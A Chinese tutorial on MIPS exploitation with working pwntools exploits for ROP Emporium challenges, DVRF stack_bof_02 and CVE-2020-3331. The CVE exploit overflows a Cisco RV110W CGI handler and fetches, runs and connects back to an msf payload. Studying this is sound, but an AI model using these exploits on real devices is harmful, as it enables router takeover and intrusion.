附件下载链接
环境搭建
在 ARM PWN 环境搭建 的基础上,首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库:
sudoapt-getinstall gcc-mips-linux-gnu
sudoapt-getinstall gcc-mipsel-linux-gnu
sudoapt-getinstall gcc-mips64-linux-gnuabi64
sudoapt-getinstall gcc-mips64el-linux-gnuabi64
然后就可以正常运行
将 mipsel 添加到 qqemu-binfmt,这样 linux 可以根据文件头找相应的程序运行:
sudoln-s /usr/mipsel-linux-gnu/ /etc/qemu-binfmt/mipsel
ret2win
栈溢出
intpwnme(){char buf[32];// [sp+18h] [+18h] BYREFmemset(buf,0,sizeof(buf));puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");puts("What could possibly go wrong?");puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");printf("> ");read(0, buf,0x38u);// bofreturnputs("Thank you!");}
分析汇编可知,返回值存储在 $sp + 0x3C 处,而 buf 起始位置在 $sp + 0x18 处,因此偏移为 0x24 。
因此不难写出 exp:
from pwn import*
context(arch='mips', os='linux')
context.log_level ='debug'# p = remote()
p = process(["qemu-mipsel","./ret2win_mipsel"])# p = process(["qemu-mipsel", "-g", "1234", "./ret2win_mipsel"])
elf = ELF("./ret2win_mipsel")
ret2win =0x00400A00if __name__ =='__main__':
payload ="a"*0x24+ p32(ret2win)
p.sendafter(">", payload)
p.interactive()
运行 exp,并用 gdb 附加调试,发现返回值被成功覆盖:
与 x86 和 arm 不同的是,mips 在函数返回时会先将之前保存到栈上的返回地址重新读取到 $ra 寄存器中,然后再通过
$jr ra
语句将返回值从 $ra 寄存器赋值到 $pc 寄存器中,因此跳转到 ret2win 后会出现 $pc 寄存器和 $ra 寄存器的值相等的情况,也就是会说之后重复执行 ret2win 函数。
继续运行,成功执行 ret2win 函数获得 flag 。
split
同样是栈溢出
intpwnme(){char buffer[32];// [sp+18h] [+18h] BYREFmemset(buffer,0,sizeof(buffer));puts("Contriving a reason to ask user for data...");printf("> ");read(0, buffer,0x60u);// bofreturnputs("Thank you!");}
存在可利用的字符串并且 system 函数在 plt 表里。
.data:00411010 usefulString: .ascii "/bin/cat flag.txt"<0>
现在需要一个可以从栈中读取地址到 r0 的 gadget 。使用 ROPgadget 搜索可用的 gadget :
ROPgadget --binary"./split_mipsel"|grep-E": lw .*a0, .*sp"
找到一个合适的 gadget :
0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
最终 exp 如下:
from pwn import*
context(arch='mips', os='linux')
context.log_level ='debug'# p = remote()
p = process(["qemu-mipsel","./split_mipsel"])# p = process(["qemu-mipsel", "-g", "1234", "./split_mipsel"])
elf = ELF("./split_mipsel")
lw_a0_sp =0x00400A20# 0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
system_plt = elf.plt['system']
cat_flag =0x00411010# .data:00411010 usefulString: .ascii "/bin/cat flag.txt"<0>if __name__ =='__main__':
payload ='a'*36
payload += p32(lw_a0_sp)
payload +='bbbb'
payload += p32(system_plt)
payload += p32(cat_flag)
p.sendafter(">", payload)
p.interactive()
callme
根据之前 ARM PWN 的分析,需要通过栈溢出构造 rop 分别调用 3 个 callme 函数完成对 flag 的打印和输出。
通过 ROPgadget 搜索到一个合适的 gedget 。
0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop ; lw $ra, 0x14($sp) ; jr $ra ;
这个 gadget 首先分别对 $a0,$a1,$a2 以及 $t9 寄存器赋值,然后调用 $t9 寄存器指向的函数,最后再修改 $ra 寄存器并跳转到 $ra 寄存器指向的地址。因此可以设置 $a0,$a1,$a2 为函数的三个参数,然后设置 $t9 寄存器为函数对应的 plt 表地址,最后设置 $ra 寄存器为 gadget 地址从而进行下一次函数调用。
exp 如下:
from pwn import*
context(arch='mips', os='linux')
context.log_level ='debug'# p = remote()
p = process(["qemu-mipsel","-g","1234","./callme_mipsel"])# p = process(["qemu-mipsel", "./callme_mipsel"])
elf = ELF("./callme_mipsel")
lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra =0x00400BB0# 0x00400bb0 : lw $a0, 0x10($sp) ; lw $a1, 0xc($sp) ; lw $a2, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop ; lw $ra, 0x14($sp) ; jr $ra ; addi $sp, $sp, 0x18defcallme(addr, arg1, arg2, arg3):
payload =""
payload += p32(0)
payload += p32(addr)
payload += p32(arg3)
payload += p32(arg2)
payload += p32(arg1)
payload += p32(lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra)return payload
if __name__ =='__main__':
payload =""
payload +="a"*36
payload += p32(lw_a0_a1_a2_t9_jalr_t9_lw_ra_jr_ra)
payload += callme(elf.plt["callme_one"],0xDEADBEEF,0xCAFEBABE,0xD00DF00D)
payload += callme(elf.plt["callme_two"],0xDEADBEEF,0xCAFEBABE,0xD00DF00D)
payload += callme(elf.plt["callme_three"],0xDEADBEEF,0xCAFEBABE,0xD00DF00D)
p.sendafter(b">", payload)
p.interactive()
跳转的 plt 表并返回这里可能会存在一些疑惑。按常理再说,plt 应该对调用者透明,也就是说调用 plt 表应该像直接调用函数一样,但是以 callme_one 函数为例,plt 表部分的汇编代码如下(这里 plt 的起始位置有点奇怪,这是因为 ida 是按照符号表指向的位置识别的):
.MIPS.stubs:00400D1C li $t8, 0x19
.MIPS.stubs:00400D1C # End of function _callme_three
.MIPS.stubs:00400D1C
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20 # =============== S U B R O U T I N E =======================================
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20 # int callme_one()
.MIPS.stubs:00400D20 _callme_one: # DATA XREF: LOAD:0040056C↑o
.MIPS.stubs:00400D20 lw $t9, _GLOBAL_OFFSET_TABLE_
.MIPS.stubs:00400D24 move $t7, $ra
.MIPS.stubs:00400D28 jalr $t9
gadget 中跳转的方式是
jalr $t9
,是一个正常的函数调用,返回值会保存到 $ra 中,进入到函数后如果函数还会调用其他函数首先要做的是将 $ra 寄存器保存到栈中。但是 callme_one 的 plt 表中没有将 $ra 寄存器保存到栈中,而是将 $ra 赋值给临时寄存器 $t7 并
jalr $t9
覆盖了 $ra 寄存器的值,那么调用完 callme_one 之后岂不是会返回到下一条指令然后沿着 plt 表继续往下执行?
实际上, 这里 plt 表中
_GLOBAL_OFFSET_TABLE_
并不是 callme_one 的 got 地址,而是 got 表的起始地址。got 表的起始位置会存放一个函数的地址,如果要调用的函数在 got 表中没有修复地址,那么这个函数会修复该地址,最后会调用对应函数。在此期间会将 $ra 寄存器的值 修改为调用 plt 表的下一条指令使得程序可以正常返回。
write4
根据之前 ARM PWN 的分析,需要通过写内存的 gadget 写入文件名然后调用 print_file 函数打印参数。
写内存可以用 0x00400930 处的 gadget 。
0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;
调用 print_file 函数可以用 0x00400948 处的gadget 。
0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
最终 exp 如下:
from pwn import*
context(arch='mips', os='linux')
context.log_level ='debug'# p = remote()# p = process(["qemu-mipsel", "-g", "1234", "./write4_mipsel"])
p = process(["qemu-mipsel","./write4_mipsel"])
elf = ELF("./write4_mipsel")# 0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;
lw_t9_t0_t1_sw_t1_t0_jali_t9 =0x00400930# 0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
lw_a0_t9_jali_t9 =0x00400948
file_name_addr =0x00411068
print_file = elf.plt['print_file']defwrite4(addr, data):
payload =""
payload += p32(lw_t9_t0_t1_sw_t1_t0_jali_t9)
payload +="aaaa"
payload += data[:4].ljust(4,'\x00')
payload += p32(addr)return payload
if __name__ =='__main__':
payload ='a'*0x24
payload += write4(file_name_addr,"flag")
payload += write4(file_name_addr +4,".txt")
payload += write4(file_name_addr +8,'\x00')
payload += p32(lw_a0_t9_jali_t9)
payload +='aaaa'
payload += p32(print_file)
payload += p32(file_name_addr)
p.sendafter(">", payload)
p.interactive()
CVE-2020-3331
环境搭建
github的 IoT-vulhub 项目提供了这个漏洞的环境。虽然项目有详细的 README 可供参考,但是还是有一些细节没有提及,并且还会出现一些玄学问题。因此如果环境没有搭好,要认真阅读报错信息寻找出错的地方,实在分析不出问题就恢复快照重新搭一遍。
构建所需镜像
漏洞环境的搭建需要依赖一些镜像,其中有些 README 默认使用者已经构建好了,因此没有说明,建议以以下的描述为准。由于镜像之间有依赖关系,因此最好按照按照顺序构建。
- ubuntu16.04 整个项目都要依赖的镜像
# 构建 ubuntu1604 基础镜像$ cd baseImage/ubuntu1604 &&docker build -t firmianay/ubuntu1604 .
- binwalk 作为解压固件的工具包
# 构建 binwalk 容器,方便使用$ cd baseImage/binwalk &&docker build -t firmianay/binwalk .
- qemu-system 调试漏洞所需的镜像,因为固件是 mipsel 架构的,因此选择 mipsel 。注意要要先运行下载脚本下载内核镜像之类的文件。
$ cd baseImage/qemu-system/mipsel/images$ ./download.sh$ cd baseImage/qemu-system/mipsel/$ docker build -t firmianay/qemu-system:mipsel .
解压固件
在 CVE-2020-3331 目录下运行如下命令:
$ docker run --rm-v$PWD/firmware/:/root/firmware firmianay/binwalk -Mer"/root/firmware/RV110W_FW_1.2.2.5.bin"
正常情况下解压出的 squashfs-root 下是有文件的。
如果没有文件就重新构建 binwalk 镜像然后重新解压,重新构建前要把之前的镜像删除。
构建并启动漏洞分析镜像
依次运行如下 3 条命令:
# 初始化环境
$ ./init_env.sh mipsel
# 构建镜像
$ docker-compose-f docker-compose-system.yml build
# 启动容器
$ docker-compose-f docker-compose-system.yml up
如果正常的话最后是这样的:
首次攻击尝试
进入到构建好的镜像中运行 exp 脚本,可以成功获取 shell 。
调试
由于镜像的中的 python 版本有问题导致 gef 插件跑不起来,因此这里采用本机调试。
在构建并启动漏洞分析镜像后,进入镜像的 shell 然后关闭并手动重启固件主机,从而进入固件主机的 shell
$ dockerexec-it cisco-system /bin/bash
root@7463bb44fe27:$ cd images
root@7463bb44fe27:$ ps-ef|grep qemu-system |awk'{print $2}'|xargskill-9
root@7463bb44fe27:$ qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append"root=/dev/sda1 console=tty0"-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
进入固件主机后运行 run_httpd.sh 启动脚本然后运行 gdbserver 附加到固件对应进程并监听 6666 端口。
root@debian-mipsel:$ cd squashfs-root/
root@debian-mipsel:$ ./tools/run_httpd.sh
root@debian-mipsel:$ ps-ef|grep httpd |grep-v'grep'|awk'{print $2}'|xargs ./tools/gdbserver :6666 --attach
Attached; pid =2328
Listening on port 6666
再开一个控制台窗口进入 docker 镜像然后开启固件主机 6666 端口到docker进行 6666 端口的端口转发。
$ dockerexec-it cisco-system /bin/bash
$ ssh [email protected] -f-N-g-R0.0.0.0:6666:192.168.2.2:6666
由于 docker-compose 配置了本机 6666 端口到镜像 6666 端口的端口映射,因此可以用 gdb 连本地的 6666 端口调试固件主机中的固件。
ports:-"8888:80"-"6666:6666"
注意,开启断后转发时中间有个询问是否继续连接的步骤,这里回车默认不是 yes,一定要手动把 yes 输进去。否则会有个报错然后就被网上的关于这个报错解决方法带偏了
之后 gdb attach 上本地的 6666 端口就可以进行调试了,这里建议 gdb 插件不要用 pwndbg。
在关键位置下好断点,然后再开一个窗口进入 docker 的 shell 运行 exp,成功在关键位置断下来:
漏洞分析
漏洞位于 guest_logout_cgi 函数。sscanf 可以造成栈溢出。
guest_logout_cgi 函数与漏洞触发有关的关键代码如下:
int __fastcall guest_logout_cgi(int a1){...
v5 =(constchar*)get_cgi((int)"cmac");...
v10 =(constchar*)get_cgi((int)"cip");
v11 =(constchar*)get_cgi((int)"submit_button");if(!v11 )
v11 ="";if( v5 && v10 ){...if(VERIFY_MAC_17(v5)&&VERIFY_IPv4(v10))// cmac 字段必须是合法的 MAC 地址,并且 cip 字段必须是合法的 IP 地址。{
v17 =strstr(v11,"status_guestnet.asp");if(!v17 )// submit_button 字段必须包含 "status_guestnet.asp"goto LABEL_31;sscanf(v11,"%[^;];%*[^=]=%[^\n]", v36, v35);// v36 溢出...
v24 =(constchar*)nvram_get("session_key", v21, v22);// 没有 session_key 字段会进入下面的判断中。if(!v24 ||(v25 =1,strcmp(v24, v35))){
LABEL_31:
v26 =(constchar*)nvram_get("http_client_mac", v18, v19);// 没有 http_client_mac 和 http_client_ip 字段,不会进入下面的判断中。if( v26 &&strcmp(v26, v5)||(v31 =(constchar*)nvram_get("http_client_ip", v27, v28))!=0&&strcmp(v31, v10)){...goto LABEL_35;}...}...
LABEL_35:if(strcmp(v11,"login_guest.asp"))// v11 与 login_guest.asp 不相同,因此会退出,由于此时返回值被覆盖成 system 函数地址且 $a0 为 v11 即 submit_button 字段从第一个 status_guestnet.asp 开始的字符串,因此会执行 submit_button 中包含的命令。return0;}...}return0;}
sscanf 中的格式化字符串为
%[^;];%*[^=]=%[^\n]
,其中
%[^;]
含义为匹配不包含
;
的字符串,
%*[^=]
表示匹配不带
=
且匹配到的只出场不传给参数,
%[^\n]
表示匹配不带
\n
的字符串。最终匹配到的字符串按顺序传给给定的参数。因此只需要构造一个以
status_guestnet.asp
开头,后面包含没有
;
的要执行的命令以及填充字节最后加一个 system 函数地址就可以执行命令了。
通过 IDA 分析汇编可知溢出长度为 0x68
至于执行的命令,可以是从 wget 获取本地的 msf 工具然后运行改工具反弹 shell 。
完整 exp 如下:
#!/usr/bin/python3from pwn import*import requests
from threading import Thread
context(arch='mips', endian='little', os='linux')
system =0x0047A610
cmd ='\n'
cmd +='wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd +='chmod 777 /msf\n'
cmd +='/msf\n'assert(len(cmd)<0x55)
payload =b"status_guestnet.asp"+ cmd.ljust(0x55,'a').encode()+ p32(system)
data ={"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.100.1"}defattack():try:
requests.post("http://192.168.2.2/guest_logout.cgi", data=data, timeout=1)except Exception as e:print(e)
thread = Thread(target=attack)
thread.start()
io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()
thread.join()
运行 exp,可以看到函数返回地址被覆盖了 system 函数地址
继续运行到函数返回,此时 $a0 寄存器指向 v11 字符串,可以执行其中的命令。
DVRF stack_bof_02
题目源码如下:
#include<string.h>#include<stdio.h>#include<stdlib.h>//Simple BoF by b1ack0wl for E1550//Shellcode is Requiredintmain(int argc,char**argv[]){char buf[500]="\0";if(argc <2){printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");exit(1);}printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n");strcpy(buf, argv[1]);printf("You entered %s \r\n", buf);printf("Try Again\r\n");return0;}// mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02
显然 main 函数中 strcpy 存在栈溢出。由于没有后门函数并且没有开 NX 保护,因此可以考虑 ret2shellcode 的做法。
这里要注意由于 mips 是流水指令集,存在 cache incoherency 的特性,需要在跳转到 shellcode 前调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
在查找 gadget 的时候发现,stack_bof_02 文件可用的 gadget 很少,由于 qemu 中每次运行 libc 加载的基址相同,因此可以考虑使用 libc 中的 gadget 。在我的环境中需要分析的是
libc-2.30.so
。
$ ls-al /usr/mipsel-linux-gnu/lib |grep"libc.so"
-rw-r--r-- 1 root root 3019月 242019 libc.so
lrwxrwxrwx 1 root root 129月 242019 libc.so.6 -> libc-2.30.so
libc 基址可以通过 got 表中的函数地址与该函数在 libc 中的偏移算出来。
又因为 ROPgadget 找不到合适的 gadget ,因此这里使用 IDA 插件 MIPS ROP Finder 搜索 gadget 。
插件在附件中提供。我使用的 IDA 版本是 7.7 ,安装方式是将压缩包解压,然后将里面的文件放到 plugins 文件夹下,注意我放的是解压出的
shims
和
mipsrop.py
这两个项。之后重启 IDA 然后点击 Search -> mips rop gadgets 等待插件初始化完成就可以正常使用了。
由于要调用 sleep 函数,因此首先要设置参数寄存器 $a0 的值:
Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000B9350 | li $a0,1 | jalr $s2 |
| 0x000E2660 | li $a0,1 | jalr $s2 |
| 0x00109918 | li $a0,1 | jalr $s1 |
| 0x0010E604 | li $a0,1 | jalr $s2 |
| 0x0012D650 | li $a0,1 | jalr $s0 |
| 0x0012D658 | li $a0,1 | jalr $s2 |
| 0x00034C5C | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00080100 | li $a0,1 | jr 0x18+var_s4($sp) |
| 0x00088E80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x00091134 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x00091BB0 | li $a0,1 | jr 0x70+var_s24($sp) |
| 0x000D5460 | li $a0,1 | jr 0x1C+var_s10($sp) |
| 0x000F2A80 | li $a0,1 | jr 0x1C+var_s0($sp) |
| 0x001251C0 | li $a0,1 | jr 0x18+var_s14($sp) |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets
这里选择 0x000E2660 地址处的 gadget :
.text:000E2660 25 C8 40 02 move $t9, $s2
.text:000E2664 09 F8 20 03 jalr $t9 ; sigprocmask
.text:000E2668 01 00 04 24 li $a0, 1
由于这个 gadget 的跳转需要 $s2 控制,因此需要一个设置 $s2 的 gadget ,这里找的是 0x00E2660 处的 gadget 。这条 gadget 不可可以控制 $s2 的值,还能控制其他的 $s 寄存器的值,也就是说后面的 gadget 的 $s 寄存器的值都可以控制。
.text:000B2EE8 34 00 BF 8F lw $ra, 0x34($sp)
.text:000B2EE8
.text:000B2EEC
.text:000B2EEC loc_B2EEC: # CODE XREF: readdir64+194↓j
.text:000B2EEC 25 10 00 02 move $v0, $s0
.text:000B2EF0 30 00 B6 8F lw $s6, 0x18+var_s18($sp)
.text:000B2EF4 2C 00 B5 8F lw $s5, 0x18+var_s14($sp)
.text:000B2EF8 28 00 B4 8F lw $s4, 0x18+var_s10($sp)
.text:000B2EFC 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:000B2F00 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:000B2F04 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:000B2F08 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:000B2F0C 08 00 E0 03 jr $ra
.text:000B2F10 38 00 BD 27 addiu $sp, 0x38
因为如果在执行完 0x000E2660 处的 gadget 后直接跳转到 sleep 函数那么会返回到这个 gadget 跳转地址后的指令继续执行这样就无法控制之后的程序执行流程。为了防止这种情况发生,我们需要在这条 gadget 和 sleep 函数之间加一条
jlar $ra
之后还能控制跳转的指令。考虑到前面已经把 $s 寄存器控制了,因此可以查找 mov $t9, $s3 指令。这里选择 0x000949EC 地址处的gadget 。
.text:000949EC 25 C8 60 02 move $t9, $s3
.text:000949F0 09 F8 20 03 jalr $t9 ; uselocale
.text:000949F4 25 80 40 00 move $s0, $v0
.text:000949F4
.text:000949F8
.text:000949F8 loc_949F8: # CODE XREF: strerror_l+15C↓j
.text:000949F8 34 00 BF 8F lw $ra, 0x24+var_s10($sp)
.text:000949FC 25 10 00 02 move $v0, $s0
.text:00094A00 30 00 B3 8F lw $s3, 0x24+var_sC($sp)
.text:00094A04 2C 00 B2 8F lw $s2, 0x24+var_s8($sp)
.text:00094A08 28 00 B1 8F lw $s1, 0x24+var_s4($sp)
.text:00094A0C 24 00 B0 8F lw $s0, 0x24+var_s0($sp)
.text:00094A10 08 00 E0 03 jr $ra
.text:00094A14 38 00 BD 27 addiu $sp, 0x38
之后的操作就是如何跳转到 shellcode上执行。虽然在 qemu 中栈地址不变,但这里提供一个泄露栈地址的方法。
mipsrop.stackfinder()
可以搜索到泄露栈地址的 gadget,这里选择 0x00095B74 地址处的 gadget :
.text:00095B74 34 00 A5 27 addiu $a1, $sp, 0x34 # '4'
.text:00095B78 18 00 A0 AF sw $zero, 0x5C+var_44($sp)
.text:00095B7C 14 00 A2 AF sw $v0, 0x5C+var_48($sp)
.text:00095B80 25 38 40 02 move $a3, $s2
.text:00095B84 25 C8 A0 02 move $t9, $s5
.text:00095B88 09 F8 20 03 jalr $t9
由于栈地址已经泄露到 $a1 寄存器中,因此可以搜索
mov $t9, $a1
查找可以用 $a1 寄存器控制跳转地址的 gadget ,这里选择的是 0x0012568C 处的地址。
.text:0012568C 25 C8 A0 00 move $t9, $a1
.text:00125690 25 38 40 00 move $a3, $v0
.text:00125694 25 28 80 00 move $a1, $a0
.text:00125698 09 F8 20 03 jalr $t9
最终可构造出的 rop 如下:
exp 如下:
from pwn import*
context(arch='mips', os='linux')# context.log_level = 'debug'
libc_base =0x7F619000if __name__ =='__main__':
payload ="a"*508
payload += p32(libc_base +0x000B2EE8)
payload +="a"*0x20
payload += p32(libc_base +0x000949EC)
payload += p32(libc_base +0x000B8FC0)
payload +="aaaa"
payload += p32(libc_base +0x0012568C)
payload +="aaaa"
payload += p32(libc_base +0x000E2660)
payload +="a"*0x34
payload += p32(libc_base +0x00095B74)
payload +="a"*0x34
payload += asm(shellcraft.sh())# p = process(['qemu-mipsel-static', '-g', '1234','./stack_bof_02', payload])
p = process(['qemu-mipsel-static','./stack_bof_02', payload])
p.interactive()
版权归原作者 _sky123_ 所有, 如有侵权,请联系我们删除。